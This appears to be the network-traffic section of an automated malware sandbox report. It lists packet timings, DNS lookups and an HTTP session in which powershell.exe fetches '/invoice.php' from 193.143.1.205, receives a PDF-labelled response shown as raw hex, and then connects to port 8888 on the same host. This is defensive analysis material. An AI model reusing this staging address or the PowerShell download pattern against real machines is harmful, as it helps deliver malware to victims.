Jan 14, 2025 08:39:01.588717937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588741064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588752031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.588754892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588771105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588785887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588797092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.588800907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588815928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588820934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.588857889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.592159033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.625277996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.625303984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.625319004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.625333071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.625346899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.625355005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.625360966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.625374079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.625375032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.625390053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.625399113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.625405073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.625418901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.625433922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.625438929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.625447989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.625457048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.625463009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.625478983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.625483990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.625523090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.638307095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.638319969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.638340950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.638355017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.638370037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.638376951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.638391972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.638406038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.638407946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.638418913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.638432980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.638439894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.638456106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.638485909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.638499975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.638513088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.638525009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.638526917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.638541937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.638544083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.638556004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.638578892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.668000937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.677709103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.677738905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.677772999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.677788019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.677805901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.677818060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.677856922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.677890062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.677901983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.677922010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.677957058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.677972078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678004980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678049088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.678055048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678082943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678126097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.678133965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678183079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678221941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.678230047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678262949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678292990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678301096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.678328991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678356886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678370953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.678405046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678447008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.678452969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678483963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678515911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678523064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.678548098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678596020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.678596973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678630114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678663015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678670883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.678694010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678731918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.678740978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678772926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678806067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678812027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.678838015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678872108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678878069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.678905010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678936958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.678942919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.678980112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679022074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.679028034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679075956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679116964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.679125071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679157972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679188967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679199934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.679220915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679260015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.679270029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679301977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679347038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.679352045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679384947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679418087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679426908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.679467916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679519892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.679542065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679629087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679662943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679677010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.679697037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679733038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679735899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.679764986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679797888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679804087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.679831028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679862976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679869890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.679894924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679928064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679935932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.679960966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.679992914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680002928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.680025101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680058002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680066109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.680073977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680088043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680102110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680107117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.680115938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680130005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680143118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680154085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.680156946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680174112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680177927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.680188894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680193901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.680203915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680217028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680223942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.680233002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680247068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680258036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.680260897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680275917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680285931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.680291891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680305958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680320024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680325985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.680334091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680341005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.680349112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680362940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680372000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.680377007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680391073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680398941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.680406094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680419922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.680428028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.680455923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.715784073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.715812922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.715845108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.715866089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.715878010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.715909958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.715914965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.715959072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.715991020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.716000080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.716023922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.716054916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.716063023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.716087103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.716114998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.716125965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.716147900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.716180086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.716185093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.716211081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.716244936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.716250896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.716276884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.716310978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.716315985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.719882965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.729058027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.729110956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.729140043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.729166031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.729191065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.729192019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.729239941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.729271889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.729285002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.729305983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.729337931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.729351997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.729370117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.729402065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.729409933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.729434967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.729465961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.729465961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.729522943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.729556084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.729563951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.729589939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.729628086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.768676043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.768708944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.768742085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.768771887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.768774033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.768807888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.768819094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.768841028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.768872976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.768879890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.768906116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.768939018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.768946886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.768970966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.769004107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.769006014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.769036055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.769069910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.769068956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.769102097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.769134045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.769135952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.769165993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.769201040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.769205093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.769228935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.769268990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.793927908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.905358076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:02.321794033 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:02.326843977 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:02.326955080 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:02.327442884 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:02.332262993 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:03.142096043 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:03.185944080 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:03.286220074 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 08:39:15.177495003 CET	57728	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 08:39:15.177495003 CET	192.168.2.5	1.1.1.1	0x9b75	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 08:39:15.185136080 CET	1.1.1.1	192.168.2.5	0x9b75	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:39:15.877283096 CET	1.1.1.1	192.168.2.5	0x15a1	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:39:15.877283096 CET	1.1.1.1	192.168.2.5	0x15a1	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:39:15.877283096 CET	1.1.1.1	192.168.2.5	0x15a1	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:39:15.877283096 CET	1.1.1.1	192.168.2.5	0x15a1	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:39:15.877283096 CET	1.1.1.1	192.168.2.5	0x15a1	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:39:15.877283096 CET	1.1.1.1	192.168.2.5	0x15a1	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:39:15.877283096 CET	1.1.1.1	192.168.2.5	0x15a1	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:39:15.877283096 CET	1.1.1.1	192.168.2.5	0x15a1	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	3812	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 08:39:00.202872038 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 14, 2025 08:39:00.977536917 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 07:39:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 